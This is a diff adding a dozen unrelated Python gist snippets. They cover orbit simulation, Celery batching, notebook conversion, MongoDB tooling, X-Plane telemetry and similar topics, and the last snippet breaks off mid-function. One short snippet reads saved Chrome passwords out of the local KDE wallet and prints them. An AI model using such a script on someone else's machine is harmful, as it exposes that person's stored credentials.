+++ b/hard-gists/220d56ea6fe9a85a4d762128b11adfba/snippet.py
@@ -0,0 +1,116 @@
+import math
+
+import random
+import matplotlib.pyplot as plot
+from mpl_toolkits.mplot3d import Axes3D
+
+class point:
+    def __init__(self, x,y,z):
+        self.x = x
+        self.y = y
+        self.z = z
+
+class body:
+    def __init__(self, location, mass, velocity, name = ""):
+        self.location = location
+        self.mass = mass
+        self.velocity = velocity
+        self.name = name
+
+def calculate_single_body_acceleration(bodies, body_index):
+    G_const = 6.67408e-11 #m3 kg-1 s-2
+    acceleration = point(0,0,0)
+    target_body = bodies[body_index]
+    for index, external_body in enumerate(bodies):
+        if index != body_index:
+            r = (target_body.location.x - external_body.location.x)**2 + (target_body.location.y - external_body.location.y)**2 + (target_body.location.z - external_body.location.z)**2
+            r = math.sqrt(r)
+            tmp = G_const * external_body.mass / r**3
+            acceleration.x += tmp * (external_body.location.x - target_body.location.x)
+            acceleration.y += tmp * (external_body.location.y - target_body.location.y)
+            acceleration.z += tmp * (external_body.location.z - target_body.location.z)
+
+    return acceleration
+
+def compute_velocity(bodies, time_step = 1):
+    for body_index, target_body in enumerate(bodies):
+        acceleration = calculate_single_body_acceleration(bodies, body_index)
+
+        target_body.velocity.x += acceleration.x * time_step
+        target_body.velocity.y += acceleration.y * time_step
+        target_body.velocity.z += acceleration.z * time_step 
+
+
+def update_location(bodies, time_step = 1):
+    for target_body in bodies:
+        target_body.location.x += target_body.velocity.x * time_step
+        target_body.location.y += target_body.velocity.y * time_step
+        target_body.location.z += target_body.velocity.z * time_step
+
+def compute_gravity_step(bodies, time_step = 1):
+    compute_velocity(bodies, time_step = time_step)
+    update_location(bodies, time_step = time_step)
+
+def plot_output(bodies, outfile = None):
+    fig = plot.figure()
+    colours = ['r','b','g','y','m','c']
+    ax = fig.add_subplot(1,1,1, projection='3d')
+    max_range = 0
+    for current_body in bodies: 
+        max_dim = max(max(current_body["x"]),max(current_body["y"]),max(current_body["z"]))
+        if max_dim > max_range:
+            max_range = max_dim
+        ax.plot(current_body["x"], current_body["y"], current_body["z"], c = random.choice(colours), label = current_body["name"])        
+    
+    ax.set_xlim([-max_range,max_range])    
+    ax.set_ylim([-max_range,max_range])
+    ax.set_zlim([-max_range,max_range])
+    ax.legend()        
+
+    if outfile:
+        plot.savefig(outfile)
+    else:
+        plot.show()
+
+def run_simulation(bodies, names = None, time_step = 1, number_of_steps = 10000, report_freq = 100):
+
+    #create output container for each body
+    body_locations_hist = []
+    for current_body in bodies:
+        body_locations_hist.append({"x":[], "y":[], "z":[], "name":current_body.name})
+        
+    for i in range(1,number_of_steps):
+        compute_gravity_step(bodies, time_step = 1000)            
+        
+        if i % report_freq == 0:
+            for index, body_location in enumerate(body_locations_hist):
+                body_location["x"].append(bodies[index].location.x)
+                body_location["y"].append(bodies[index].location.y)           
+                body_location["z"].append(bodies[index].location.z)       
+
+    return body_locations_hist        
+            
+#planet data (location (m), mass (kg), velocity (m/s)
+sun = {"location":point(0,0,0), "mass":2e30, "velocity":point(0,0,0)}
+mercury = {"location":point(0,5.7e10,0), "mass":3.285e23, "velocity":point(47000,0,0)}
+venus = {"location":point(0,1.1e11,0), "mass":4.8e24, "velocity":point(35000,0,0)}
+earth = {"location":point(0,1.5e11,0), "mass":6e24, "velocity":point(30000,0,0)}
+mars = {"location":point(0,2.2e11,0), "mass":2.4e24, "velocity":point(24000,0,0)}
+jupiter = {"location":point(0,7.7e11,0), "mass":1e28, "velocity":point(13000,0,0)}
+saturn = {"location":point(0,1.4e12,0), "mass":5.7e26, "velocity":point(9000,0,0)}
+uranus = {"location":point(0,2.8e12,0), "mass":8.7e25, "velocity":point(6835,0,0)}
+neptune = {"location":point(0,4.5e12,0), "mass":1e26, "velocity":point(5477,0,0)}
+pluto = {"location":point(0,3.7e12,0), "mass":1.3e22, "velocity":point(4748,0,0)}
+
+if __name__ == "__main__":
+
+    #build list of planets in the simulation, or create your own
+    bodies = [
+        body( location = sun["location"], mass = sun["mass"], velocity = sun["velocity"], name = "sun"),
+        body( location = earth["location"], mass = earth["mass"], velocity = earth["velocity"], name = "earth"),
+        body( location = mars["location"], mass = mars["mass"], velocity = mars["velocity"], name = "mars"),
+        body( location = venus["location"], mass = venus["mass"], velocity = venus["velocity"], name = "venus"),
+        ]
+    
+    motions = run_simulation(bodies, time_step = 100, number_of_steps = 80000, report_freq = 1000)
+    plot_output(motions, outfile = 'orbits.png')
\ No newline at end of file
diff --git a/hard-gists/2213915/._snippet.py b/hard-gists/2213915/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2213915/._snippet.py differ
diff --git a/hard-gists/2213915/snippet.py b/hard-gists/2213915/snippet.py
new file mode 100644
index 00000000..6b8d540d
--- /dev/null
+++ b/hard-gists/2213915/snippet.py
@@ -0,0 +1,130 @@
+
+"""
+Celery tasks that batch a job with many tasks into smaller work sets.
+
+The problem I'm attempting to solve is one where a job comprised of many
+tasks (say 100) will snub out a job comprised of only a few tasks (say 5).  It
+appears as though by default celery will queue up the second job's 5 tasks 
+behind the first job's 100 and it will have to wait until the first job's 
+completion before it even begins.
+
+This prototype code shows how jobs can be batched into smaller task sizes in 
+order to prevent a massive job from taking over all processing resources.
+
+Caveat: as the code is written, a job will not detect a subtask erroring out
+and will continue processing the job to completion.  This may or may not be
+desired.
+"""
+import os
+import random
+import time
+
+from logging import info
+
+from celery.task import chord, task
+from celery.task.sets import TaskSet
+
+WORK_DIR = '/tmp/work_done' # where work goes
+
+# this number should be chosen relative to the number of workers in the pool so
+# that multiple jobs coming into the system don't have to wait too long to
+# start processing.  making this number low leaves idle resources when there
+# are no additional jobs, but making it too high, adds a start penalty to any
+# job entering the system.
+ITEMS_PER_BATCH = 5
+
+@task
+def prep_job(job_id, num_tasks):
+    """
+    Prepare by creating sets of tasks each made up of <ITEMS_PER_BATCH> items
+    """
+
+    # create a list of numbers that represent jobs
+    numbers = range(num_tasks)
+
+    # a list of lists representing the jobs in batches
+    batches = get_batches(numbers, ITEMS_PER_BATCH)
+
+    # calling job_dispatch will start processing the jobs one batch at a time
+    return job_dispatch.delay(None, job_id, batches)
+
+@task
+def job_dispatch(results, job_id, batches):
+    """
+    Process the job batches one at a time
+
+    When there is more than one batch to process, a chord is used to delay the
+    execution of remaining batches.
+    """
+
+    batch = batches.pop(0)
+
+    info('dispatching job_id: {0}, batch: {1}, results: {2}'.format(job_id, batch, results))
+
+    tasks = [job_worker.subtask((job_id, task_num)) for task_num in batch]
+
+    # when there are other batches to process, use a chord to delay the
+    # execution of remaining tasks, otherwise, finish off with a TaskSet
+    if batches:
+        info('still have batches, chording {0}'.format(batches))
+        callback = job_dispatch.subtask((job_id, batches))
+        return chord(tasks)(callback)
+    else:
+        info('only batch, calling TaskSet')
+        return TaskSet(tasks=tasks).apply_async()
+
+@task
+def job_worker(job_id, task_num):
+    return do_the_work(job_id, task_num)
+
+#
+# Helper methods
+#
+
+def get_batches(work, batch_size):
+    batches = []
+
+    while work:
+        t_batch_size = min(len(work), batch_size)
+
+        batches.append(work[:t_batch_size])
+        work = work[t_batch_size:]
+
+    return batches
+
+def do_the_work(job_id, task_num):
+    """
+    Example of some work unit that will take some time within 2s to complete.
+
+    It writes to the WORK_DIR directory to demonstrate (by listing the
+    directory) that other jobs are able to interleave their tasks with another big
+    job.
+    """
+
+    sleep_time = random.random() * 2
+
+    # fail every once in a while to see if the entire job is shorted after a
+    # failure.
+    if sleep_time < 0.2:
+        raise Exception('misc failure')
+
+    info('job_worker, sleeping {0}'.format(sleep_time))
+    time.sleep(sleep_time)
+
+    now = time.time()
+
+    # try/except just in case another worker got to creating the directory
+    # first.
+    try:
+        if not os.path.exists(WORK_DIR):
+            os.makedirs(WORK_DIR)
+    except OSError, exc:
+        if exc[0] != 17:
+            raise
+
+    path = os.path.join(WORK_DIR, '{0}-{1}-{2}.txt'.format(now, job_id, task_num))
+
+    info('touching {0}'.format(path))
+    open(path, 'wb').close()
+
+    return path
diff --git a/hard-gists/221685a8e03a01baaf1e/._snippet.py b/hard-gists/221685a8e03a01baaf1e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/221685a8e03a01baaf1e/._snippet.py differ
diff --git a/hard-gists/221685a8e03a01baaf1e/snippet.py b/hard-gists/221685a8e03a01baaf1e/snippet.py
new file mode 100644
index 00000000..83b3a5e9
--- /dev/null
+++ b/hard-gists/221685a8e03a01baaf1e/snippet.py
@@ -0,0 +1,61 @@
+import os
+import shutil
+
+from nbconvert.nbconvertapp import NbConvertApp
+from nbconvert.postprocessors.base import PostProcessorBase
+
+
+class CopyToSubfolderPostProcessor(PostProcessorBase):
+    def __init__(self, subfolder=None):
+        self.subfolder = subfolder
+        super(CopyToSubfolderPostProcessor, self).__init__()
+
+    def postprocess(self, input):
+        """ Save converted file to a separate directory. """
+        if self.subfolder is None:
+            return
+
+        dirname, filename = os.path.split(input)
+        new_dir = os.path.join(dirname, self.subfolder)
+        new_path = os.path.join(new_dir, filename)
+
+        if not os.path.exists(new_dir):
+            os.mkdir(new_dir)
+
+        shutil.copy2(input, new_path)
+        os.remove(input)
+
+
+SAVE_PROGRESS_INDICATOR_FILE = '.ipynb_saveprogress'
+
+
+def post_save(model, os_path, contents_manager):
+    """post-save hook for converting notebooks to .py scripts and html
+       in a separate folder with the same name
+    """
+    # only do this for notebooks
+    if model['type'] != 'notebook':
+        return
+
+    # only do this if we've added the special indicator file to the working directory
+    cwd = os.path.dirname(os_path)
+    save_progress_indicator = os.path.join(cwd, SAVE_PROGRESS_INDICATOR_FILE)
+    should_convert = os.path.exists(save_progress_indicator)
+
+    if should_convert:
+        d, fname = os.path.split(os_path)
+        subfolder = os.path.splitext(fname)[0]
+
+        converter = NbConvertApp()
+        converter.postprocessor = CopyToSubfolderPostProcessor(subfolder=subfolder)
+        converter.export_format = 'script'
+        converter.initialize()
+        converter.notebooks = [os_path]
+        converter.convert_notebooks()
+
+        converter.export_format = 'html'
+        converter.initialize()
+        converter.notebooks = [os_path]
+        converter.convert_notebooks()
+
+c.FileContentsManager.post_save_hook = post_save
diff --git a/hard-gists/2220293/._snippet.py b/hard-gists/2220293/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2220293/._snippet.py differ
diff --git a/hard-gists/2220293/snippet.py b/hard-gists/2220293/snippet.py
new file mode 100644
index 00000000..22d3a849
--- /dev/null
+++ b/hard-gists/2220293/snippet.py
@@ -0,0 +1,66 @@
+#!/usr/bin/python 
+import time
+from SimpleCV import Color, Image, np, Camera
+
+cam = Camera() #initialize the camera
+quality = 400
+minMatch = 0.3
+
+try:
+    password = Image("password.jpg")
+except:
+    password = None
+
+mode = "unsaved"
+saved = False
+minDist = 0.25
+
+
+while True:
+    image = cam.getImage().scale(320, 240) # get image, scale to speed things up
+    faces = image.findHaarFeatures("facetrack-training.xml") # load in trained face file
+    if faces:
+        if not password:
+            faces.draw()
+            face = faces[-1]
+            password = face.crop().save("password.jpg")
+            break
+        else:
+            faces.draw()
+            face = faces[-1]
+            template = face.crop()
+            template.save("passwordmatch.jpg")
+            keypoints = password.findKeypointMatch(template,quality,minDist,minMatch)
+            if keypoints:
+                print "YOU ARE THE ONE!!! CONGRATS"
+                question = raw_input("WOULD YOU LIKE TO CHANGE YOUR FACE PASSWORD? Y/N").strip()
+                if question == "Y":
+                    image = cam.getImage().scale(320, 240)
+                    faces = image.findHaarFeatures("facetrack-training.xml")
+                    tryit = 1
+                    while not tryit == 10 or not faces:
+                        image = cam.getImage().scale(320, 240)
+                        faces = image.findHaarFeatures("facetrack-training.xml")
+                        tryit += 1
+                    if not faces:
+                        "CANNOT FIND ANY FACE, QUITING"
+                        break
+                    else:
+                        faces.draw()
+                        face = faces[-1]
+                        password = face.crop().save("password.jpg")
+                        face.crop().show()
+                        print "SUCCESSFULLY SAVED"
+                        print "QUITING"
+                        time.sleep(1)
+                        break
+                else:
+                    print "OK..."
+                    break
+                    
+            else:
+                print "YOU ARE NOT THE ONE!!!"
+                print "RUN AWAY OR POLICE WILL THROW YOU BEHIND THE BARS....:P"
+                break
+    else:
+        break
diff --git a/hard-gists/2229985/._snippet.py b/hard-gists/2229985/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2229985/._snippet.py differ
diff --git a/hard-gists/2229985/snippet.py b/hard-gists/2229985/snippet.py
new file mode 100644
index 00000000..eada6af7
--- /dev/null
+++ b/hard-gists/2229985/snippet.py
@@ -0,0 +1,127 @@
+import os, time, functools, types, unittest
+from tornado import gen, ioloop
+
+import asyncmongo
+import asyncmongo.errors
+
+def async_test_engine(timeout_sec=5):
+    if not isinstance(timeout_sec, int) and not isinstance(timeout_sec, float):
+        raise TypeError(
+            "Expected int or float, got %s\n"
+            "Use async_test_engine like:\n\t@async_test_engine()\n"
+            "or:\n\t@async_test_engine(5)" % (
+                repr(timeout_sec)
+                )
+        )
+
+    timeout_sec = max(timeout_sec, float(os.environ.get('TIMEOUT_SEC', 0)))
+
+    def decorator(func):
+        class AsyncTestRunner(gen.Runner):
+            def __init__(self, gen, timeout):
+                super(AsyncTestRunner, self).__init__(gen)
+                self.timeout = timeout
+
+            def run(self):
+                loop = ioloop.IOLoop.instance()
+                try:
+                    super(AsyncTestRunner, self).run()
+                except Exception:
+                    loop.remove_timeout(self.timeout)
+                    loop.stop()
+                    raise
+
+                if self.finished:
+                    loop.remove_timeout(self.timeout)
+                    loop.stop()
+
+        @functools.wraps(func)
+        def _async_test(self):
+            loop = ioloop.IOLoop.instance()
+
+            def on_timeout():
+                loop.stop()
+                raise AssertionError("%s timed out" % func)
+
+            timeout = loop.add_timeout(time.time() + timeout_sec, on_timeout)
+
+            gen = func(self)
+            assert isinstance(gen, types.GeneratorType), (
+                "%s should be a generator, include a yield "
+                "statement" % func
+                )
+
+            AsyncTestRunner(gen, timeout).run()
+
+            loop.start()
+        return _async_test
+    return decorator
+
+async_test_engine.__test__ = False # Nose otherwise mistakes it for a test
+
+
+class AssertRaises(gen.Task):
+    def __init__(self, exc_type, func, *args, **kwargs):
+        super(AssertRaises, self).__init__(func, *args, **kwargs)
+        if not isinstance(exc_type, type):
+            raise TypeError("%s is not a class" % repr(exc_type))
+
+        if not issubclass(exc_type, Exception):
+            raise TypeError(
+                "%s is not a subclass of Exception" % repr(exc_type))
+        self.exc_type = exc_type
+
+    def get_result(self):
+        args, kwargs = self.runner.pop_result(self.key)
+        error = kwargs.get('error')
+        if not isinstance(error, self.exc_type):
+            if error:
+                raise AssertionError("%s raised instead of %s" % (
+                    repr(error), self.exc_type.__name__))
+            else:
+                raise AssertionError("%s not raised" % self.exc_type.__name__)
+        return args[0]
+
+
+class AssertEqual(gen.Task):
+    def __init__(self, expected, func, *args, **kwargs):
+        super(AssertEqual, self).__init__(func, *args, **kwargs)
+        self.expected = expected
+
+    def get_result(self):
+        args, kwargs = self.runner.pop_result(self.key)
+        if kwargs.get('error'):
+            raise kwargs['error']
+
+        result = args[0]
+        if self.expected != result:
+            raise AssertionError("%s returned %s, not %s" % (
+                self.func, repr(result), repr(self.expected)))
+
+        return result
+
+
+class MyTestCase(unittest.TestCase):
+    @async_test_engine(timeout_sec=2)
+    def test_stuff(self):
+        db = asyncmongo.Client(
+            pool_id='test_query',
+            host='127.0.0.1',
+            port=27017,
+            dbname='test',
+            mincached=3
+        )
+
+        yield gen.Task(db.collection.remove, safe=True)
+        yield gen.Task(db.collection.insert, {"_id" : 1}, safe=True)
+
+        # Verify the document was inserted
+        yield AssertEqual([{'_id': 1}], db.collection.find)
+
+        # MongoDB has a unique index on _id
+        yield AssertRaises(
+              asyncmongo.errors.IntegrityError,
+              db.collection.insert, {"_id" : 1}, safe=True)
+
+if __name__ == '__main__':
+    unittest.main()
\ No newline at end of file
diff --git a/hard-gists/2232681/._snippet.py b/hard-gists/2232681/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2232681/._snippet.py differ
diff --git a/hard-gists/2232681/snippet.py b/hard-gists/2232681/snippet.py
new file mode 100644
index 00000000..b4e2a894
--- /dev/null
+++ b/hard-gists/2232681/snippet.py
@@ -0,0 +1,21 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+# Quick and dirty Chrome kwallet password extractor
+
+from PyKDE4.kdeui import KWallet
+from PyQt4.QtGui import QApplication
+from sys import argv
+
+app = QApplication([])
+app.setApplicationName("Chrome password extractor")
+
+wallet = KWallet.Wallet.openWallet(KWallet.Wallet.LocalWallet(), 0)
+wallet.setFolder("Chrome Form Data") # check your wallet for exact folder name
+
+entries = wallet.entryList()
+entry = entries.filter(argv[1])[0]
+entry = wallet.readEntry(entry)[1]
+
+# outputs ugly slice of pickled data, hopefully you can eyeball the passsword from there
+print(repr(str(entry[0:-1:2])))
diff --git a/hard-gists/2245426/._snippet.py b/hard-gists/2245426/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2245426/._snippet.py differ
diff --git a/hard-gists/2245426/snippet.py b/hard-gists/2245426/snippet.py
new file mode 100644
index 00000000..6f22ddcd
--- /dev/null
+++ b/hard-gists/2245426/snippet.py
@@ -0,0 +1,117 @@
+# -*- coding: utf-8 -*-
+
+from flask.ext.admin import datastore
+from flask.ext.admin import util
+from flask.ext.wtf import Form
+from pymongo.objectid import ObjectId
+from pymongo.errors import OperationFailure
+
+
+class Any(object):
+    def __init__(self, **kw):
+        for k in kw:
+            setattr(self, k, kw[k])
+
+
+class DictForm(Form):
+    def process(self, formdata=None, obj=None, **kwargs):
+        obj = Any(**obj) if isinstance(obj, dict) else obj
+        super(DictForm, self).process(formdata, obj, **kwargs)
+        
+
+    def populate_obj(self, obj):
+        scapegoat = Any()
+        super(Form, self).populate_obj(scapegoat)
+        for attr in scapegoat.__dict__:
+            obj[attr] = getattr(scapegoat, attr)
+
+
+class PyMongoDatastore(datastore.AdminDatastore):
+    def __init__(self, collections, mongo, document_forms, document_reprs={}):
+        self.collections = collections
+        self.mongo = mongo
+        self.document_forms = document_forms
+        self.document_reprs = document_reprs
+        self._document_classes = {}
+
+    def create_model_pagination(self, model_name, page, per_page=25):
+        """Returns a pagination object for the list view."""
+        return PyMongoPagination(page, per_page, self.get_model_collection(model_name), self.get_model_class(model_name))
+
+    def delete_model_instance(self, model_name, model_keys):
+        """Deletes a model instance. Returns True if model instance
+        was successfully deleted, returns False otherwise.
+        """
+        try:
+            self.get_model_collection(model_name).remove(ObjectId(model_keys[0]))
+            return True
+        except OperationFailure:
+            return False
+
+    def find_model_instance(self, model_name, model_keys):
+        """Returns a model instance, if one exists, that matches
+        model_name and model_keys. Returns None if no such model
+        instance exists.
+        """
+        return self.get_model_collection(model_name).find_one(ObjectId(model_keys[0]), as_class=self.get_model_class(model_name))
+
+    def get_model_class(self, model_name):
+        """Returns a model class, given a model name."""
+        if model_name not in self._document_classes:
+            class DocumentClass(self.mongo.cx.document_class):
+                collection_name = model_name
+            if model_name in self.document_reprs:
+                DocumentClass.__repr__ = self.document_reprs[model_name]
+
+            self._document_classes[model_name] = DocumentClass
+
+            del DocumentClass
+        return self._document_classes[model_name] 
+
+    def get_model_collection(self, model_name):
+        """Returns a model collection, given a model name."""
+        return self.mongo.db[model_name]
+
+    def get_model_form(self, model_name):
+        """Returns a form, given a model name."""
+        try:
+            return self.document_forms[model_name]
+        except KeyError:
+            raise Exception('You must specify the form to use for a model via document_forms')
+
+    def get_model_keys(self, model_instance):
+        """Returns the keys for a given a model instance. This should
+        be an iterable (e.g. list or tuple) containing the keys.
+        """
+        return [model_instance['_id']]
+
+    def list_model_names(self):
+        """Returns a list of model names available in the datastore."""
+        return self.collections
+
+    def save_model(self, model_instance):
+        """Persists a model instance to the datastore. Note: this
+        could be called when a model instance is added or edited.
+        """
+        self.mongo.db[model_instance.collection_name].save(model_instance)
+
+    def update_from_form(self, model_instance, form):
+        """Returns a model instance whose values have been updated
+        with the values from a given form.
+        """
+        saved_id = None
+        if '_id' in model_instance:
+            saved_id = model_instance['_id']
+        form.populate_obj(model_instance)
+        if saved_id:
+            model_instance['_id'] = saved_id
+        return model_instance
+
+
+class PyMongoPagination(util.Pagination):
+    def __init__(self, page, per_page, collection, as_class, *args, **kwargs):
+        total = collection.count()
+        items = collection.find(skip=(page - 1) * per_page, limit=per_page, as_class=as_class)
+        super(PyMongoPagination, self).__init__(
+            page, per_page, total=total, items=items,
+            *args, **kwargs)
diff --git a/hard-gists/2280363/._snippet.py b/hard-gists/2280363/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2280363/._snippet.py differ
diff --git a/hard-gists/2280363/snippet.py b/hard-gists/2280363/snippet.py
new file mode 100644
index 00000000..185c10fb
--- /dev/null
+++ b/hard-gists/2280363/snippet.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+# parse_toc.py
+
+from pdfminer.pdfparser import PDFParser, PDFDocument
+
+def parse(filename, maxlevel):
+    fp = open(filename, 'rb')
+    parser = PDFParser(fp)
+    doc = PDFDocument()
+    parser.set_document(doc)
+    doc.set_parser(parser)
+
+    outlines = doc.get_outlines()
+    for (level, title, dest, a, se) in outlines:
+        if level <= maxlevel:
+            print ' ' * level, title
+
+
+if __name__ == '__main__':
+    import sys
+    if len(sys.argv) != 3:
+        print 'Usage: %s xxx.pdf level' % sys.argv[0]
+        sys.exit(2)
+
+    parse(sys.argv[1], int(sys.argv[2]))
diff --git a/hard-gists/2288152/._snippet.py b/hard-gists/2288152/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2288152/._snippet.py differ
diff --git a/hard-gists/2288152/Dockerfile-llm-3.8 b/hard-gists/2288152/Dockerfile-llm-3.8
new file mode 100644
index 00000000..70b0ef54
--- /dev/null
+++ b/hard-gists/2288152/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","pillow==10.4.0"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/2288152/modules/pillow_3.8.txt b/hard-gists/2288152/modules/pillow_3.8.txt
new file mode 100644
index 00000000..42675a7c
--- /dev/null
+++ b/hard-gists/2288152/modules/pillow_3.8.txt
@@ -0,0 +1 @@
+1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7.0, 1.7.1, 1.7.2, 1.7.3, 1.7.4, 1.7.5, 1.7.6, 1.7.7, 1.7.8, 6.2.1, 6.2.2, 7.0.0, 7.1.0, 7.1.1, 7.1.2, 7.2.0, 8.0.0, 8.0.1, 8.1.0, 8.1.1, 8.1.2, 8.2.0, 8.3.0, 8.3.1, 8.3.2, 8.4.0, 9.0.0, 9.0.1, 9.1.0, 9.1.1, 9.2.0, 9.3.0, 9.4.0, 9.5.0, 10.0.0, 10.0.1, 10.1.0, 10.2.0, 10.3.0, 10.4.0
\ No newline at end of file
diff --git a/hard-gists/2288152/snippet.py b/hard-gists/2288152/snippet.py
new file mode 100644
index 00000000..7d5287ae
--- /dev/null
+++ b/hard-gists/2288152/snippet.py
@@ -0,0 +1,11 @@
+from PIL import Image
+
+def get_white_noise_image(width, height):
+    pil_map = Image.new("RGBA", (width, height), 255)
+    random_grid = map(lambda x: (
+            int(random.random() * 256),
+            int(random.random() * 256),
+            int(random.random() * 256)
+        ), [0] * width * height)
+    pil_map.putdata(random_grid)
+    return pil_map
\ No newline at end of file
diff --git a/hard-gists/228998/._snippet.py b/hard-gists/228998/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/228998/._snippet.py differ
diff --git a/hard-gists/228998/snippet.py b/hard-gists/228998/snippet.py
new file mode 100644
index 00000000..294aebef
--- /dev/null
+++ b/hard-gists/228998/snippet.py
@@ -0,0 +1,86 @@
+#!/usr/bin/env python
+# encoding: utf-8
+
+import socket
+from struct import *
+from twisted.internet.protocol import DatagramProtocol
+from twisted.internet import reactor
+import math
+
+UDP_IP="127.0.0.1"
+UDP_PORT=49045 # I'm not sure if there's a default so you'll have to set it like this: http://dronedynamics.com/xplane_config.png
+UDP_SENDTO_PORT=49000 # This is the port X-Plane is listening on for commands (such as the data select packet we send to tell it what data to send us).
+
+class XplaneConnector(DatagramProtocol):
+    def __init__(self):
+        """
+        This will send a packet to X-Plane to select the data you need to read.
+        Once it's sent X-Plane will output data automatically at a default of 20Hz.
+        In this string, "\x03\x00\x00\x00", we are selecting the third checkbox in the
+        "Settings" > "Data Input and Output" menu item ("speeds" in this example). And
+        don't forget that these numbers are in hexadecimal!
+        """
+        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        self.sock.bind((UDP_IP,49999)) # this is the port we're sending from and it doesn't really matter
+        data_selection_packet = "DSEL0" # this is the xplane packet type
+        data_selection_packet += "\x03\x00\x00\x00" # airspeed
+        data_selection_packet += "\x04\x00\x00\x00" # accelerometers
+        data_selection_packet += "\x06\x00\x00\x00" # temperature
+        data_selection_packet += "\x11\x00\x00\x00" # gyros
+        data_selection_packet += "\x12\x00\x00\x00" # pitch and roll (for sanity check)
+        data_selection_packet += "\x14\x00\x00\x00" # altimeter and GPS
+        self.sock.sendto(data_selection_packet,(UDP_IP,UDP_SENDTO_PORT))
+
+    def datagramReceived(self, data, (host, port)):
+        """
+        We've received a UDP packet from X-Plane (which is in binary so printing it
+        won't help). This is where we unpack and then do whatever with the data.
+        """
+        self.unpack(data)
+        self.display()
+        # self.log() # uncomment this line if you want to log to a file
+
+    def unpack(self, data):
+        """
+        When we receive a UDP packet from X-Plane we'll need to unpack the data.
+        See http://www.grc.nasa.gov/WWW/K-12/airplane/rotations.html for which body
+        axes are which (please don't invent your own). X-Plane gives some of the data
+        in a funny order (q before p and r?!).
+        """
+        self.Vair = unpack_from('<f', data, 9)[0]
+        self.Vtgs = unpack_from('<f', data, 9+12)[0]
+        self.az = unpack_from('<f', data, 9+16+36)[0]
+        self.ax = unpack_from('<f', data, 9+20+36)[0]
+        self.ay = unpack_from('<f', data, 9+24+36)[0]
+        self.temperature = unpack_from('<f', data, 9+72+0)[0]
+        self.q = math.radians(unpack_from('<f', data, 9+108+0)[0])
+        self.p = math.radians(unpack_from('<f', data, 9+108+4)[0])
+        self.r = math.radians(unpack_from('<f', data, 9+108+8)[0])
+        self.pitch = math.radians(unpack_from('<f', data, 9+144+0)[0])
+        self.roll = math.radians(unpack_from('<f', data, 9+144+4)[0])
+        self.altitude = unpack_from('<f', data, 9+180+20)[0]
+        self.latitude = unpack_from('<f', data, 9+180+0)[0]
+        self.longitude = unpack_from('<f', data, 9+180+4)[0]
+
+    def display(self):
+        """
+        Use the curses library if you want to format and update the data nicely on the
+        screen (similar to the "top" command in *nix)
+        """
+        print "%f, %f, %f, %f, %f, %f, %f, %f, %f, %f" % (self.Vair, self.ax, self.ay, self.az, self.p, self.q, self.r, self.altitude, self.latitude, self.longitude)
+
+    def log(self):
+        """
+        Yeah I'll get to file logging later but for now you can do it yourself (delete the "pass" line).
+        """
+        pass
+
+if __name__ == "__main__":
+    """
+    If you call this file directly (from the command line using "python xplane.py") then
+    it will sleep until a packet is received and then call datagramReceived when one arrives.
+    """
+    print "Listening to X-Plane..."
+    xplane_connector = XplaneConnector()
+    reactor.listenUDP(UDP_PORT, xplane_connector)
+    reactor.run()
diff --git a/hard-gists/22935c16da4eda92762f/._snippet.py b/hard-gists/22935c16da4eda92762f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/22935c16da4eda92762f/._snippet.py differ
diff --git a/hard-gists/22935c16da4eda92762f/snippet.py b/hard-gists/22935c16da4eda92762f/snippet.py
new file mode 100644
index 00000000..21330075
--- /dev/null
+++ b/hard-gists/22935c16da4eda92762f/snippet.py
@@ -0,0 +1,23 @@
+# coding=utf-8
+ 
+# A simple demonstration of how to load a QGIS project and then
+# show it in a widget.
+# This code is public domain, use if for any purpose you see fit.
+# Tim Sutton 2015
+ 
+import os
+from qgis.core import QgsProject
+from qgis.gui import QgsMapCanvas, QgsLayerTreeMapCanvasBridge
+from qgis.core.contextmanagers import qgisapp
+from PyQt4.QtCore import QFileInfo
+ 
+with qgisapp():
+    project_path = os.path.dirname(__file__) + os.path.sep + 'test.qgs'
+    canvas = QgsMapCanvas(None)  # will reparent it to widget via layout
+
+    # Load our project
+    bridge = QgsLayerTreeMapCanvasBridge(
+        QgsProject.instance().layerTreeRoot(), canvas)
+    QgsProject.instance().read(QFileInfo(project_path))
+
+    canvas.show()
\ No newline at end of file
diff --git a/hard-gists/2301119/._snippet.py b/hard-gists/2301119/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2301119/._snippet.py differ
diff --git a/hard-gists/2301119/snippet.py b/hard-gists/2301119/snippet.py
new file mode 100644
index 00000000..f166a2d1
--- /dev/null
+++ b/hard-gists/2301119/snippet.py
@@ -0,0 +1,123 @@
+import time
+import datetime
+import visa
+import numpy as np
+
+class YokogawaWT1600(visa.GpibInstrument):
+  __GPIB_ADDRESS = 2
+  
+  def __init__(self, reset=True):
+    visa.GpibInstrument.__init__(self, self.__GPIB_ADDRESS, timeout=3)
+    if reset:
+      self.resetDefault()
+
+  def resetDefault(self):
+    def setupMeasurements(measurements):
+      num = range(1, len(measurements) + 1)
+      for n, m in zip(num, measurements):
+        s = "item{0} {1},1".format(n, m) #item{0} {1},1 | item{0} {1},2
+        yield s
